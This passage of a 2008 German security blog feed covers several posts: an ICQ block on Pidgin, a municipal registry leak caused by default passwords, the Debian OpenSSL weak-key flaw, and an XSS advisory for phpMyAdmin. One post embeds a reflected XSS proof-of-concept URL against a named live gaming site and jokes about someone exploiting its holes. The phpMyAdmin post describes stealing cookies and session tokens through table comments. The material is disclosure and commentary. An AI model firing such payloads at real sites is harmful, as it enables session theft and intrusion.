		<description><![CDATA[Seit ca 16 Uhr d&#252;rfte kaum noch jemand mit einem alternativ Client ICQ nutzen k&#246;nnen. Die Meldung von Pidgin dazu ist
your icq client is too old, update it on pidgin.im
Die neueste Version ist allerdings 2.4.2 . Grund daf&#252;r ist eine &#196;nderung vom ICQ-Team. Um die Anwender zu dem Upgrade auf ICQ 6.0 zu zwingen, wurden [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-110" title="provided by http://flickr.com/photos/biappi/67643810/" src="http://www.the-wildcat.de/wp-content/uploads/2008/07/67643810_e9a56c953c_o1.jpg" alt="" width="180" height="116" />Seit ca 16 Uhr d&#252;rfte kaum noch jemand mit einem alternativ Client ICQ nutzen k&#246;nnen. Die Meldung von Pidgin dazu ist</p>
<blockquote><p>your icq client is too old, update it on pidgin.im</p></blockquote>
<p>Die neueste Version ist allerdings 2.4.2 . Grund daf&#252;r ist eine &#196;nderung vom ICQ-Team. Um die Anwender zu dem Upgrade auf ICQ 6.0 zu zwingen, wurden alle Clients die &#228;ltere Versionsstrings senden ausgesperrt. Als Error-Code kommt ein &#8220;GENERAL_FAILURE&#8221; und die Error-URL ist der Downloadlink zur neuesten ICQ-Version. <span id="more-108"></span></p>
<p>Komisch ist allerdings das pidgin meint es g&#228;be eine neue Version von eben pidgin. Es gibt dazu allerdings keinen spezifischen Fehlercode im Oscarprotokoll. Und die Downloadhinweise die gesendet wurden, f&#252;hrten eigentlich auch zu ICQ selbst. Bug? Na wer wei&#223;, pidgin.im war jedenfalls nicht mehr erreichbar. Wurde sozusagen zu einer DDoS Attacke.</p>
<p>Benutzer die pidgin unter Windows nutzen, sind leider etwas im Nachteil, entweder sie warten auf die neue Version, die hoffentlich morgen bereitgestellt wird oder sie nutzen in der Zeit ICQ6.</p>
<blockquote><p>We are aware of the problems connecting to ICQ with Pidgin 2.4.2 and older. We hope to have a new release and packages out soon to fix this. In the meantime, if you compile Pidgin from source you can use this patch to fix it.</p></blockquote>
<p>Linux-Nutzer haben es einfacher, ladet euch einfach die aktuellen sourcen und editiert in der Datei</p>
<pre>pidgin-2.4.2/libpurple/protocols/oscar/oscar.h
Zeile: 304
0x010a &#228;ndern in 0x010b</pre>
<p>Oder ihr verwendet den Patch der auf www.pidgin.im angeboten wird.</p>
<p>Auszug geklaut von <a href="http://wired-security.net/archive/2008/july/index.php#02072008">wired-security.net</a> <img src='http://www.the-wildcat.de/wp-includes/images/smilies/icon_mrgreen.gif' alt=':mrgreen:' class='wp-smiley' /> </p>
<p>Hier der Auszug aus dem Netzwerkdump, welche den Link zur neuen ICQ-Version beinhaltet. ICQ5 bietet dann automatisch das &#8220;update&#8221; an.</p>
<pre>    TLV: Error URL
        Value ID: Error URL (0x0004)
        Length: 46
        Value: http://ftp.icq.com/pub/ICQ6/Install_ICQ6U2.exe
</pre>
<p>Der ganze Auszug:</p>
<pre>Frame 35 (669 bytes on wire, 669 bytes captured)
Ethernet II, Src: ZonetTec_e1:57:32 (00:50:22:e1:57:32), \
Dst: *:*:* (*:*:*:*:*:*)
Internet Protocol, Src: 64.12.161.153 (64.12.161.153), \
Dst: *.*.*.* (*.*.*.*)
    Version: 4
    Header length: 20 bytes
    Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00)
    Total Length: 655
    Identification: 0x8aa2 (35490)
    Flags: 0x04 (Don't Fragment)
    Fragment offset: 0
    Time to live: 105
    Protocol: TCP (0x06)
    Header checksum: 0xb325 [correct]
    Source: 64.12.161.153 (64.12.161.153)
    Destination: *.*.*.* (*.*.*.*)
Transmission Control Protocol, Src Port: aol (5190), \
Dst Port: 11234 (11234), Seq: 11, Ack: 102, Len: 615
    Source port: aol (5190)
    Destination port: 11234 (11234)
    Sequence number: 11    (relative sequence number)
    [Next sequence number: 626    (relative sequence number)]
    Acknowledgement number: 102    (relative ack number)
    Header length: 20 bytes
    Flags: 0x18 (PSH, ACK)
    Window size: 16384
    Checksum: 0x7577 [correct]
        [Good Checksum: True]
        [Bad Checksum: False]
    [SEQ/ACK analysis]
    [PDU Size: 615]
AOL Instant Messenger
    Command Start: 0x2a
    Channel ID: Close Connection (0x04)
    Sequence Number: 26668
    Data Field Length: 609
    TLV: Unknown
        Value ID: Unknown (0x008e)
        Length: 1
        Value
    TLV: Screen name
        Value ID: Screen name (0x0001)
        Length: 9
        Value: 410996901
    TLV: BOS server string
        Value ID: BOS server string (0x0005)
        Length: 17
        Value: 64.12.25.112:5190
    TLV: Authorization cookie
        Value ID: Authorization cookie (0x0006)
        Length: 256
        Value
    TLV: Error Code
        Value ID: Error Code (0x0008)
        Length: 2
        Value: 28
    TLV: Error URL
        Value ID: Error URL (0x0004)
        Length: 46
        Value: http://ftp.icq.com/pub/ICQ6/Install_ICQ6U2.exe
    TLV: Latest Beta Build
        Value ID: Latest Beta Build (0x0040)
        Length: 4
        Value: 11
    TLV: Latest Beta Name
        Value ID: Latest Beta Name (0x0043)
        Length: 9
        Value: 5.33.3000
    TLV: Latest Beta URL
        Value ID: Latest Beta URL (0x0041)
        Length: 46
        Value: http://ftp.icq.com/pub/ICQ6/Install_ICQ6U2.exe
    TLV: Latest Beta Info
        Value ID: Latest Beta Info (0x0042)
        Length: 52
        Value: http://download.icq.com/download/icq6/whats_new.html
    TLV: Latest Release Build
        Value ID: Latest Release Build (0x0044)
        Length: 4
        Value: 11
    TLV: Latest Release Name
        Value ID: Latest Release Name (0x0047)
        Length: 9
        Value: 5.33.3000
    TLV: Latest Release URL
        Value ID: Latest Release URL (0x0045)
        Length: 46
        Value: http://ftp.icq.com/pub/ICQ6/Install_ICQ6U2.exe
    TLV: Latest Release Info
        Value ID: Latest Release Info (0x0046)
        Length: 52
        Value: http://download.icq.com/download/icq6/whats_new.html
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.the-wildcat.de/das-icq-drama/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Datengau unter Verwendung kommunaler Beh&#246;rdensoftware von HSH</title>
		<link>http://www.the-wildcat.de/datengau-unter-verwendung-kommunaler-behoerdensoftware-von-hsh/</link>
		<comments>http://www.the-wildcat.de/datengau-unter-verwendung-kommunaler-behoerdensoftware-von-hsh/#comments</comments>
		<pubDate>Tue, 24 Jun 2008 18:09:15 +0000</pubDate>
		<dc:creator>The-Wildcat</dc:creator>
		
		<category><![CDATA[Allgemeines]]></category>

		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.the-wildcat.de/?p=104</guid>
		<description><![CDATA[Wie vor kurzem bekannt wurde gab es ein &#8220;Leck&#8221; in der kommunalen Beh&#246;rdensoftware der Melde&#228;mter.
Auf einigen Seiten gibt es durchaus &#220;bertreibungen des Ausma&#223;es dieses Patzers. Fakt ist das ca 15 Anwender dieser Software betroffen waren und nicht alle (&#252;ber 400 wie teilweise berichtet) die diese einsetzen. 
Aber nicht nur das die Meldedaten, Fotos, vorherige Wohnadressen [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-105" title="provided by http://flickr.com/photos/eyeballstew/6040319/sizes/o/" src="http://www.the-wildcat.de/wp-content/uploads/2008/06/6040319_46120e2b5e_o.jpg" alt="" width="150" height="124" />Wie vor <a title="Der sorglose Umgang mit Daten bei Einwohnermelde&#228;mtern" href="http://www.br-online.de/daserste/report/archiv/2008/00481/" target="_blank">kurzem</a> <a title="Fernsehmagazin: Datenpanne bei Einwohnermelde&#228;mtern" href="http://www.heise.de/newsticker/Fernsehmagazin-Datenpanne-bei-Einwohnermeldeaemtern-Update--/meldung/109835" target="_blank">bekannt</a> <a title="Nach der Datenpanne beginnt das Aufr&#228;umen bei den Meldebeh&#246;rden" href="http://www.heise.de/newsticker/Nach-der-Datenpanne-beginnt-das-Aufraeumen-bei-den-Meldebehoerden--/meldung/109896" target="_blank">wurde</a> gab es ein &#8220;Leck&#8221; in der kommunalen <a href="http://www.hsh-berlin.com/" target="_blank">Beh&#246;rdensoftware</a> der Melde&#228;mter.</p>
<p>Auf einigen Seiten gibt es durchaus &#220;bertreibungen des Ausma&#223;es dieses Patzers. Fakt ist das ca 15 Anwender dieser Software betroffen waren und nicht alle (&#252;ber 400 wie teilweise berichtet) die diese einsetzen. <span id="more-104"></span></p>
<p>Aber nicht nur das die Meldedaten, Fotos, vorherige Wohnadressen zug&#228;nglich waren, die Finanzdaten unter anderem auch. <img src='http://www.the-wildcat.de/wp-includes/images/smilies/icon_rolleyes.gif' alt=':roll:' class='wp-smiley' /> </p>
<p>Allerdings ist es nicht unbedingt ein verschulden des Herstellers, sondern viel mehr ein versagen auf der administrativen Ebene der Kommunen. Wie kann man die Standardpassw&#246;rter einer solchen Software, die &#252;ber das *Internet* zug&#228;nglich ist, *nicht* &#228;ndern, unverst&#228;ndlich und ein Armutszeugnis zugleich.</p>
<blockquote><p>Auf Anfrage teilt die Stadt Potsdam heute Mittag mit, sie sei &#8220;zum Zeitpunkt des Kaufes …nicht darauf hingewiesen worden, dass Benutzername und Passwort auf der Homepage des Softwareherstellers sichtbar und damit &#246;ffentlich zug&#228;nglich gemacht werden.&#8221;</p></blockquote>
<blockquote><p>Allerdings seien diese Gemeinden der Aufforderung nicht nachgekommen, nach der Installation der Software den Benutzernamen und das Passwort f&#252;r den mit der Software gelieferten Standard-Benutzeraccount (mit Superuser-Rechten) zu &#228;ndern. Laut einem Bericht des ARD-Fernsehmagazins &#8220;Report M&#252;nchen&#8221; konnten so Angaben von B&#252;rgern &#252;ber das Geburtsdatum bis zur Religionszugeh&#246;rigkeit samt Fotos abgefragt werden. Insbesondere Fotos d&#252;rften aber bei einer Standardauskunft gar nicht zug&#228;nglich gemacht werden, sagte der Vertreter der brandenburgischen Datenschutzbeh&#246;rde.</p></blockquote>
<p> <img src='http://www.the-wildcat.de/wp-includes/images/smilies/icon_rolleyes.gif' alt=':roll:' class='wp-smiley' /><br />
Man kennt es von vielen Anwendern, die die Passw&#246;rter ihrer Router o.&#228;. nicht &#228;ndern, was noch verst&#228;ndlich ist. Aber das *kopfsch&#252;ttel*. &#220;berraschen tut dies sicherlicht nicht. Aber ein Schock ist es dennoch. Bleibt abzuwarten ob und was dort noch passiert. W&#228;re das nicht &#246;ffentlich bekannt gewurden, w&#228;re es sicherlich unter den Tisch gekehrt wurden. *<a href="http://www.heise.de/newsticker/Gut-dass-es-passiert-ist-Datenpanne-zwingt-zum-Umdenken--/meldung/109933/from/atom10" target="_blank">update</a>* <img src='http://www.the-wildcat.de/wp-includes/images/smilies/icon_mrgreen.gif' alt=':mrgreen:' class='wp-smiley' /> </p>
<blockquote><p>Laut M&#252;ller gab es nur zwei Abfragen zu konkreten Personen nach dem 16. Juni, davon eine durch das ARD-Fernsehmagazin &#8220;Report M&#252;nchen&#8221;, das die Sache mit ans Licht brachte. Dabei h&#228;tten von den 18 gesetzlich m&#246;glichen Suchkriterien aber nur f&#252;nf abgerufen werden k&#246;nnen: Name, Vorname, Geburtsdatum, Geschlecht und Adresse. Weitergehende Angaben wie Augen- und Haarfarbe, Religionszugeh&#246;rigkeit oder gar ein Passbild w&#228;ren unzug&#228;nglich gewesen. &#8220;Es gab nicht den gl&#228;sernen B&#252;rger.&#8221;</p></blockquote>
<p>Wers glaubt <img src='http://www.the-wildcat.de/wp-includes/images/smilies/icon_rolleyes.gif' alt=':roll:' class='wp-smiley' /> . In dem Bericht von ARD war dies nicht der Fall. Dort war inkl Foto und Religionszugeh&#246;rigkeit alles zug&#228;nglich. Also nehme ich mal an das die Fakten dort mal wieder entsch&#228;rft werden sollen. Von den angeblich nur 2 Anfragen, wovon eine von ARD kam, kann man wohl getrost auch nicht ausgehen und darf damit rechnen das es viel mehr gewesen sind <img src='http://www.the-wildcat.de/wp-includes/images/smilies/icon_rolleyes.gif' alt=':roll:' class='wp-smiley' /> . Aber l&#252;gen sind wir ja gewohnt <img src='http://www.the-wildcat.de/wp-includes/images/smilies/icon_mrgreen.gif' alt=':mrgreen:' class='wp-smiley' /> </p>
<p><span style="text-decoration: line-through;">Der Dienst wurde desweiteren vor&#252;bergehend deaktiviert <a href="http://www.meldebehoerde.de/" target="_blank">meldebehoerde.de</a> </span> <img src='http://www.the-wildcat.de/wp-includes/images/smilies/icon_mrgreen.gif' alt=':mrgreen:' class='wp-smiley' /> </p>
<p>Nett war auch die Tatsache das bei HSH keiner davon wusste <img src='http://www.the-wildcat.de/wp-includes/images/smilies/icon_mrgreen.gif' alt=':mrgreen:' class='wp-smiley' /> . Der Gesch&#228;ftsf&#252;hrer hat es erst durch das Interview mit report M&#252;nchen erfahren.</p>
<p><strong><em>Siehe dazu auch:</em></strong></p>
<ul>
<li><a title="Fernsehmagazin: Datenpanne bei Einwohnermelde&#228;mtern (Update)" href="http://www.heise.de/newsticker/Fernsehmagazin-Datenpanne-bei-Einwohnermeldeaemtern-Update--/meldung/109835" target="_blank">Fernsehmagazin: Datenpanne bei Einwohnermelde&#228;mtern</a></li>
<li><a title="Nach der Datenpanne beginnt das Aufr&#228;umen bei den Meldebeh&#246;rden" href="http://www.heise.de/newsticker/Nach-der-Datenpanne-beginnt-das-Aufraeumen-bei-den-Meldebehoerden--/meldung/109896" target="_blank">Nach der Datenpanne beginnt das Aufr&#228;umen bei den Meldebeh&#246;rden</a></li>
<li><a title="report M&#252;nchen" href="http://www.br-online.de/daserste/report/archiv/2008/00481/" target="_blank">Der sorglose Umgang mit Daten bei Einwohnermelde&#228;mtern</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.the-wildcat.de/datengau-unter-verwendung-kommunaler-behoerdensoftware-von-hsh/feed/</wfw:commentRss>
		</item>
		<item>
		<title>this actually made my day</title>
		<link>http://www.the-wildcat.de/made-my-day/</link>
		<comments>http://www.the-wildcat.de/made-my-day/#comments</comments>
		<pubDate>Fri, 20 Jun 2008 16:08:46 +0000</pubDate>
		<dc:creator>The-Wildcat</dc:creator>
		
		<category><![CDATA[Fun]]></category>

		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.the-wildcat.de/?p=101</guid>
		<description><![CDATA[

			     
                 
								
			       		
	     		 	
				
	
			    


Wirklich sehr am&#252;sant  . Danke daf&#252;r pdp 
F&#252;r alle die es nicht verstehen und/oder sehen, [...]]]></description>
			<content:encoded><![CDATA[<p>

			    <a href="/wp-content/uploads/2008/06/the-receipt.jpg" class="highslide"  onclick="return hs.expand(this, {captionId: 'caption-for-P1010'})"> 
                <img src="/wp-content/uploads/2008/06/the-receipt_thumb.jpg" alt="pdp_bon" border="0" id="P1010" title="pdp_bon" /></a> 
								<div class='highslide-caption' id='caption-for-P1010'>
			       		
	     		 	
				<div style="clear:both"></div>
	
			    </div>

<br />
Wirklich sehr am&#252;sant <img src='http://www.the-wildcat.de/wp-includes/images/smilies/icon_mrgreen.gif' alt=':mrgreen:' class='wp-smiley' /> . Danke daf&#252;r pdp <img src='http://www.the-wildcat.de/wp-includes/images/smilies/icon_lol.gif' alt=':lol:' class='wp-smiley' /><br />
F&#252;r alle die es nicht verstehen und/oder sehen, man beachte den <a href="http://de.wikipedia.org/wiki/Wired_Equivalent_Privacy">Teil WEP 64 Bit</a> was an sich schon sehr mies ist. Aber die 2 folgenden Zeilen sind noch sch&#228;rfer <img src='http://www.the-wildcat.de/wp-includes/images/smilies/icon_mrgreen.gif' alt=':mrgreen:' class='wp-smiley' /> </p>
<ul>
<li><a href="http://www.gnucitizen.org/blog/the-receipt/">Original Link</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.the-wildcat.de/made-my-day/feed/</wfw:commentRss>
		</item>
		<item>
		<title>www.gamepn.com der (Alp)traum eines jeden Pentester</title>
		<link>http://www.the-wildcat.de/gamepn-vulnerable_by_default/</link>
		<comments>http://www.the-wildcat.de/gamepn-vulnerable_by_default/#comments</comments>
		<pubDate>Sat, 31 May 2008 16:49:59 +0000</pubDate>
		<dc:creator>The-Wildcat</dc:creator>
		
		<category><![CDATA[Web Application Security]]></category>

		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://www.the-wildcat.de/?p=99</guid>
		<description><![CDATA[Am heutigen (sehr warmen  ) Samstag, erinnerte ich mich dunkel an eine Spieleplattform die vor etwas &#252;ber einem Jahr die Pforten in Form einer Betaphase &#246;ffnete. Sogar heise.de berichtete dar&#252;ber, siehe &#8220;Netzwerk f&#252;r Gamer startet &#246;ffentlichen Beta-Test&#8220;.
Woran ich mich auch nur zu gut erinnern konnte waren die diversen Sicherheitsl&#252;cken die die Plattform beinhaltete.
&#160;
Selbst st&#228;ndiges [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-100" title="provided by http://flickr.com/photos/barrybar" src="http://www.the-wildcat.de/wp-content/uploads/2008/05/gamepn.jpg" alt="" width="150" height="113" />Am heutigen (sehr warmen <img src='http://www.the-wildcat.de/wp-includes/images/smilies/icon_mrgreen.gif' alt=':mrgreen:' class='wp-smiley' /> ) Samstag, erinnerte ich mich dunkel an eine Spieleplattform die vor etwas &#252;ber einem Jahr die Pforten in Form einer Betaphase &#246;ffnete. Sogar heise.de berichtete dar&#252;ber, siehe &#8220;<a href="http://www.heise.de/newsticker/suche/ergebnis?rm=result;words=GamePN;q=gamepn;url=/newsticker/meldung/87554/" target="_blank">Netzwerk f&#252;r Gamer startet &#246;ffentlichen Beta-Test</a>&#8220;.</p>
<p>Woran ich mich auch nur zu gut erinnern konnte waren die diversen Sicherheitsl&#252;cken die die Plattform beinhaltete.<span id="more-99"></span></p>
<p>&nbsp;</p>
<p>Selbst st&#228;ndiges berichten brachte dort nichts mehr, denn es wurde nur das behoben was auch berichtet wurde. Die Betreiber haben meiner Meinung nach keine Ahnung von Sicherheit oder wie man diesen Prozess umsetzt und weiterf&#252;hrt. Selbst die Seite auf die man gelangt wenn man eine Einladung erh&#228;lt, enth&#228;lt <a title="gamepn.com XSS vuln" href="http://www.gamepn.com/register.php?invitation=%22%3E%3Cscript%3Ealert%28/vulnerable+by+default/%29%3C/script%3E" target="_blank">XSS L&#252;cken</a>. Der Horror schlechthin, schlichtweg ein Sicherheitsalptraum. Auf diversen anderen Seiten die der <a href="http://www.google.de/search?q=%22Chili+Entertainment+GmbH%22+intitle%3Agame%7Cspiel" target="_blank">Anbieter</a> betreibt, sieht es nicht anders aus.</p>
<p>Diverse Meldungen &#252;ber L&#252;cken in den Anwendungen haben <strong><em>nix</em></strong> gebracht. Die Gesch&#228;ftsf&#252;hrung ignoriert einen sowieso.</p>
<p>Es findet sich alles. Persistent XSS, Reflective XSS, SQL-Injection &#8230; directory traversals hab ich noch nicht ausfindig gemacht, bzw hab ich danach noch nicht gesucht, was nicht hei&#223;t das es keine gibt. Sicherlich gibt es noch diverse second order L&#252;cken, aber spekulieren mag ich dann auch nicht.</p>
<p>Entwickelt bitte ein Verst&#228;ndnis f&#252;r Sicherheit, das Sicherheit ein Prozess ist und kein Zustand und das man so keine Anwendungen designen kann. An einer von drei stellen wird eine bestimmte <em>Usereingabe</em> gefiltert und an den anderen zwei nicht. Warum wird dies nicht zentralisiert gehandhabt, so wie es sich geh&#246;rt. Dort macht sich bei mir einfach nur Unverst&#228;ndnis breit. Wieso speichert man die Dinge nicht gleich Umgewandelt ab, wenn die Seite in keinster Weise HTML Eingaben ben&#246;tigt. Unverst&#228;ndlich.</p>
<p>Ganz besonders schlimm, das die Passw&#246;rter als MD5-Hash im Cookie gespeichert werden, sowie die User-ID und wie sollte es auch anders sein die Session-ID. Warum MD5 gespeicherte Passw&#246;rter eine verdammt schlechte Idee sind und man sie erst recht nicht im Cookie hinterlassen sollte, d&#252;rfte jedem mit ein wenig Verst&#228;ndnis im Bereich Sicherheit klar sein. Jeder andere darf gern <a href="http://www.google.de/search?q=warum+md5+nicht+mehr+sicher+ist" target="_blank">Google</a> verwenden oder <a href="http://ha.ckers.org/blog/20060624/md5-isnt-really-broken-sorta/" target="_blank">ha.ckers.org</a> besuchen. Es soll nicht hei&#223;en das MD5 an sich schlecht ist. Allerdings ist die beschriebene Kombination <strong><em>*sehr schlecht*</em></strong></p>
<p>Gl&#252;cklicherweise muss man hier sagen, hat die Plattform wohl nicht den Erfolg gefeiert den man gern gehabt h&#228;tte. Hier kann ich wirklich nur sagen, gl&#252;ck gehabt <img src='http://www.the-wildcat.de/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . Vielleicht greift jemand bekannteres das Thema auf <img src='http://www.the-wildcat.de/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> oder es findet sich jemand der es ausnutzt und etwas schlimmeres anstellt als PoCs zu ver&#246;ffentlichen. Nicht das ich hier zu so etwas aufrufen w&#252;rde <img src='http://www.the-wildcat.de/wp-includes/images/smilies/icon_mrgreen.gif' alt=':mrgreen:' class='wp-smiley' /> .</p>
<p>Was man gleich noch, vielleicht auch mehr als beil&#228;ufig, erw&#228;hnen sollte, der Internetauftritt von unserem lieben <a title="Website von Bundesinnenminister Sch&#228;uble gehackt" href="http://www.heise.de/newsticker/Website-von-Bundesinnenminister-Schaeuble-gehackt--/meldung/108784" target="_blank">Herrn Sch&#228;uble wurde heute gehackt</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.the-wildcat.de/gamepn-vulnerable_by_default/feed/</wfw:commentRss>
		</item>
		<item>
		<title>[Update++] Vorhersagbare openssl Schl&#252;ssel</title>
		<link>http://www.the-wildcat.de/vorhersagbare-openssl-schluessel/</link>
		<comments>http://www.the-wildcat.de/vorhersagbare-openssl-schluessel/#comments</comments>
		<pubDate>Thu, 15 May 2008 09:27:03 +0000</pubDate>
		<dc:creator>The-Wildcat</dc:creator>
		
		<category><![CDATA[Security]]></category>

		<category><![CDATA[openssl]]></category>

		<guid isPermaLink="false">http://www.the-wildcat.de/?p=97</guid>
		<description><![CDATA[Lange &#252;berlegt ob ich mich dieser &#8220;hype&#8221; Sicherheitsmeldung auch anschlie&#223;en soll oder einfach nix dazu sagen werden. Nun da ihr diese Zeilen hier lesen k&#246;nnt, kann man stark davon ausgehen das ich dazu auch noch etwas loswerden m&#246;chte  
Zuerst, diese L&#252;cke betrifft ausschlie&#223;lich Debian Systeme und Systeme die von Debian abgeleitet sind, wie z.B. [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-98" title="p800" src="http://www.the-wildcat.de/wp-content/uploads/2008/05/p800.jpg" alt="" width="160" height="120" />Lange &#252;berlegt ob ich mich dieser &#8220;hype&#8221; Sicherheitsmeldung auch anschlie&#223;en soll oder einfach nix dazu sagen werden. Nun da ihr diese Zeilen hier lesen k&#246;nnt, kann man stark davon ausgehen das ich dazu auch noch etwas loswerden m&#246;chte <img src='http://www.the-wildcat.de/wp-includes/images/smilies/icon_mrgreen.gif' alt=':mrgreen:' class='wp-smiley' /> </p>
<p>Zuerst, diese L&#252;cke betrifft ausschlie&#223;lich Debian Systeme und Systeme die von Debian abgeleitet sind, wie z.B. (*)buntu, Knoppix und so weiter.<span id="more-97"></span></p>
<p>Was ist nun eigentlich passiert? Im Jahr 2006, genauer gesagt am 17.09.2006, wurde eine neue OpenSSL in den unstable Zweig aufgenommen (Version 0.9.8c-1) und wurde von da an in den testing und anschlie&#223;end in den Stable (Etch) Zweig aufgenommen. Diese Version &#8220;besch&#228;digte&#8221; den Zufallszahlengenerator von OpenSSL und dieser produzierte nunmehr vorhersagbare Zufallswerte. Eine genauere Ausf&#252;hrung findet ihr bei <a title="Debian Bug Leaves Private SSL/SSH Keys Guessable  " href="http://it.slashdot.org/comments.pl?sid=551636&amp;cid=23392602" target="_blank">slashdot.org</a>.</p>
<p>Betroffen sind alle SSH Schl&#252;ssel, OpenVPN Schl&#252;ssel, DNSSEC Schl&#252;ssel und Schl&#252;sselmaterial welches f&#252;r X.509 Zertifikate, sowie Session keys und SSL/TLS Verbindungen genutzt wurde. Schl&#252;ssel die mit GnuPG oder GNUTLS erstellt wurden, sind nicht betroffen.</p>
<p>Wer nicht mehr nachvollziehen kann wann er mit welchem Programm seine Schl&#252;ssel erstellt hat muss unbedingt seine Schl&#252;ssel austauschen! Dies ist ein schwerwiegendes Problem und betrifft z.B. genauso Banken, wenn ihre Schl&#252;ssel mit der entsprechenden OpenSSL Version erstellt wurden.</p>
<p>Ihr solltet euren Serverkey ebenfalls tauschen:</p>
<pre>rm /etc/ssh/*key*

dpkg-reconfigure openssh-server</pre>
<p>Die L&#252;cke ist in 0.9.8c-4etch3 f&#252;r Debian Etch geschlossen wurden. In der unstable Version (sid) und in der testing Distribution (lenny) wurden diese Sicherheitsl&#252;cken in der Version 0.9.8g-9 geschlossen.</p>
<p><em><strong>Update:</strong></em></p>
<p>Heise hat einen <a title="Der kleine OpenSSL-Wegweiser" href="http://www.heise.de/security/Der-kleine-OpenSSL-Wegweiser--/artikel/108001" target="_blank">Artikel</a> erstellt der einen &#220;berblick &#252;ber die aktuellen Tools, Gefahren und deren Gegenma&#223;nahmen beschreibt.</p>
<p><strong><em>Update++:</em></strong></p>
<p>Heise hat einen weiteren <a title="Die bange Frage: wer wusste davon?" href="http://www.heise.de/security/Gute-Zahlen-schlechte-Zahlen--/artikel/108272/5" target="_blank">Artikel</a> dazu erstellt, welcher eine sch&#246;ne Aufkl&#228;rung &#252;ber die komplette Tragweite dieses Problems umfasst. F&#252;r Administratoren ein absolutes<em> must read</em>.</p>
<ul>
<li><a href="http://www.root-guide.de/RootGuide/SSL_Confixx" target="_blank">Howto SSL Zertifikat erstellen f&#252;r Confixx</a></li>
<li><a href="http://www.micressor.ch/index.php/Apache-SSL-Zertifikat_erstellen" target="_blank">Apache-SSL-Zertifikat erstellen</a></li>
<li><a href="http://blog.256bit.org/archives/418-SSH-mit-Schluesseln.html" target="_blank">Neues SSH Schl&#252;sselpaar erstellen</a> (Der Public Key muss auf den Server kopiert werden, nicht wie im Artikel beschrieben der Privatekey)</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.the-wildcat.de/vorhersagbare-openssl-schluessel/feed/</wfw:commentRss>
		</item>
		<item>
		<title>phpMyAdmin &#60;= 2.11.6 XSS-Vulnerability</title>
		<link>http://www.the-wildcat.de/phpmyadmin-2116-xss-vulnerability/</link>
		<comments>http://www.the-wildcat.de/phpmyadmin-2116-xss-vulnerability/#comments</comments>
		<pubDate>Mon, 05 May 2008 17:35:18 +0000</pubDate>
		<dc:creator>The-Wildcat</dc:creator>
		
		<category><![CDATA[Exploit]]></category>

		<category><![CDATA[XSS]]></category>

		<category><![CDATA[phpMyAdmin]]></category>

		<guid isPermaLink="false">http://www.the-wildcat.de/?p=91</guid>
		<description><![CDATA[Am Wochenende fand ich abermals nach kurzer Suche, eine weitere XSS-L&#252;cke in phpMyAdmin. Die L&#252;cke befindet sich in den Tabellenkommentaren. Diese werden in der Druckansicht der Tabelle nicht ausreichend escaped und k&#246;nnen so ausgenutzt werden um Javascript-Code im Kontext der Seite auszuf&#252;hren und z.B. die Cookies des Anwenders zu stehlen. Oder um an den aktuellen [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-62" title="provided by http://flickr.com/photos/tommorris/300859746/sizes/s/" src="http://www.the-wildcat.de/wp-content/uploads/2008/04/300859746_be725cfdf8_m.jpg" alt="" />Am Wochenende fand ich abermals nach kurzer Suche, eine weitere XSS-L&#252;cke in phpMyAdmin. Die L&#252;cke befindet sich in den Tabellenkommentaren. Diese werden in der Druckansicht der Tabelle nicht ausreichend escaped und k&#246;nnen so ausgenutzt werden um Javascript-Code im Kontext der Seite auszuf&#252;hren und z.B. die Cookies des Anwenders zu stehlen. Oder um an den aktuellen Session-Token zu kommen um dann weitere bekannte L&#252;cken in phpMyAdmin auszunutzen f&#252;r die allerdings eben genannter Token ben&#246;tigt wird.<span id="more-91"></span></p>
<p>Allerdings ben&#246;tigt der Angreifer Zugang zu einer Datenbank und Tabelle auf die das Opfer Zugriff hat. Desweiteren ben&#246;tigt er das CREATE oder ALTER TABLE Recht. Es ist also eher etwas f&#252;r Benutzer die an die Zugangsdaten ihres Administrators heran kommen wollen. <img src='http://www.the-wildcat.de/wp-includes/images/smilies/icon_mrgreen.gif' alt=':mrgreen:' class='wp-smiley' /> </p>
<p>Das Problem tritt au&#223;erdem in der Datenbank Druckansicht und im Strukturverzeichnis auf, sowie im Tabellenname in der Tabellen Druckansicht und im Strukturverzeichnis.</p>
<p>

			    <a href="http://www.the-wildcat.de/wp-content/uploads/2008/05/pma_xss_03_05_08.png" class="highslide"  onclick="return hs.expand(this, {captionId: 'caption-for-P910'})"> 
                <img src="http://www.the-wildcat.de/wp-content/uploads/2008/05/pma_xss_thumb_03_05_08.png" alt="pma_xss_03_05" border="0" id="P910" title="pma_xss_03_05" /></a> 
								<div class='highslide-caption' id='caption-for-P910'>
			       		
	     		 	
				<div style="clear:both"></div>
	
			    </div>



			    <a href="http://www.the-wildcat.de/wp-content/uploads/2008/05/pma_xss_2_03_05_08.png" class="highslide"  onclick="return hs.expand(this, {captionId: 'caption-for-P911'})"> 
                <img src="http://www.the-wildcat.de/wp-content/uploads/2008/05/pma_xss_2_thumb_03_05_08.png" alt="pma_xss_03_05" border="0" id="P911" title="pma_xss_03_05" /></a> 
								<div class='highslide-caption' id='caption-for-P911'>
			       		
	     		 	
				<div style="clear:both"></div>
	
			    </div>

</p>
<ul>
<li><a title="phpMyAdmin Print view XSS-Vulnerability" href="http://fd.the-wildcat.de/pma_e36a034f98.php" target="_blank">Original Advisory</a></li>
<li>Fixed in Version 2.11.7 (not yet released)</li>
<li><a title="phpMyAdmin Changelog" href="http://pma.cihar.com/changelog.php">Changelog</a></li>
</ul>
]]></content:encoded>
